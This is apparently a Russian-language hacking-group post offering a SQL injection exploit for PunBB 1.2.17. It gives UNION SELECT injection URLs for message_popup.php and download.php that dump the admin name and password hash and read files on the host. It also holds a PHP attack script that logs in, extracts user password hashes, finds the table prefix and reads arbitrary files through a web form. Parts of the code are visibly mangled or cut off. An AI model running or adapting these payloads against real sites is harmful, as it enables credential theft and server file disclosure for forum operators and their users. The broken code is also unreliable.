Free hosting: www.2x4.ru
DDOS protection
Close
HELLO WORLD TEAM - PunBB+Exploit - Интернет Безопасность
PunBB Exploit

v1.2.17 punbb.ru rev87
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер+таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
###########################################################
Exploit:


/**
* @author @Fatal@
* @copyright HWT©2008
*
* PunBB expl0it
*
* Уязвимость существует по причине недостатачной обработки
* входящх данных в файле download.php!
*
* Aвтор не несёт ответствености за использоваение данного скрипта!
* Используйте его на свой страх и риск!
*
* Уязвимость нашёл @Fatal@.
*/

if (isset($_POST['start']))
{
if (!empty($_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
{
define("_HOST", $_POST['host']);
define("_PORT", 80);

function cookie($ans)
{
$head = 'Cookie:';
foreach ($ans as $val)
{

if (preg_match('#Set-Cookie:(.+)#is', $val, $pock))
{
$co = explode(';', $pock['1']);
$head .= ' ' . trim($co[0]) . ';';
}
}
return $head . " rn";
}

function Prepare_POST_array($arr)
{
$out = '';
foreach ($arr as $key => $line)
{
if ($out == '')
$out .= $key . '=' . urlencode($line);
else
$out .= '&' . $key . '=' . urlencode($line);
}

return $out . "rnrn";
}

function post_query($path, $param, $cook = '', $AnswerFlag = true)
{
$out = "POST " . $path . " HTTP/1.1rn";

if ($param == array())
{
$out = "GET " . $path . " HTTP/1.1rn";
$data = "";
} else
$data = Prepare_POST_array($param);

$fp = fsockopen(_HOST, _PORT, $errno, $errstr, 30);
if (!$fp) return false;


$out .= "Host: " . _HOST . "rn";
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251rn";
$out .= "Content-Length: " . strlen($data) . "rn";
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)rn";
$out .= $cook;
$out .= "Connection: Closernrn";
$out .= $data;

fwrite($fp, $out);
if ($AnswerFlag)
{
while (!feof($fp))
{
$answer[] = fgets($fp, 1024);
}
} else
$answer = true;


fclose($fp);
return $answer;
}
$array = array(
'form_sent' => '1',
'redirect_url' => 'index.php',
'req_username' => $_POST['login'],
'req_password' => $_POST['pass'],
);

$ans = post_query($_POST['path'].'login.php?action=in', $array);
$a = cookie($ans);

if($_POST['method'] != 2)
{
if (!empty($_POST['nid']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';

else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3, '.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];

$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);

if(strrpos($str, "doesn't exist (Errno: 1146)") !== false)
{
preg_match("# Table '(.+?).users' doesn't exist (Errno: 1146)#is",$str,$pock);
$hex = '0x'.bin2hex($pock[1]);
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name, 3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+ta ble_schema+like+'.$hex;
$ans3 = post_query($page, array(), $a);
$str = implode('',$ans3);
preg_match('#PunBB reported: (.+?)attachments - this file does not exist#is',$str,$pock);
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3, '.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_PO ST['nid'];
$ans2 = post_query($page, array(), $a);
$str = implode('',$ans2);
}
preg_match('#PunBB reported echo "<center> }
} else
$error = "Введите все данные";
} else {
if (!empty($_POST['file']))
{
if(empty($a))
$error = 'Не верно введены логин или пароль';

else {
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
$ans2 = post_query($page, array(), $a);
$i = 11;
while(array_key_exists($i,$ans2))
{
echo htmlspecialchars($ans2[$i]).'
';
$i++;
}
}
} else
$error = "ВВедите все данные";

}
} else
$error = "ВВедите все данные";
}

if(isset($error) || !isset($_POST['start']))
{
echo '<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
echo '<form method="post">';
echo 'Хост: <input type="text" name="host"><br>';
echo 'Путь: <input type="text" name="path"><br>';
echo 'Префикс: <input type="text" name="prefix"><br>';
echo 'Логин: <input type="text" name="login"> echo 'Пароль: <input type="text" name="pass"><br>';
echo 'В.id: <input type="text" name="id"><br>';
echo 'Н.id: <input type="text" name="nid"><br>';
echo 'Файл: <input type="text" name="file"><br>';
echo 'Метод: <select name=method>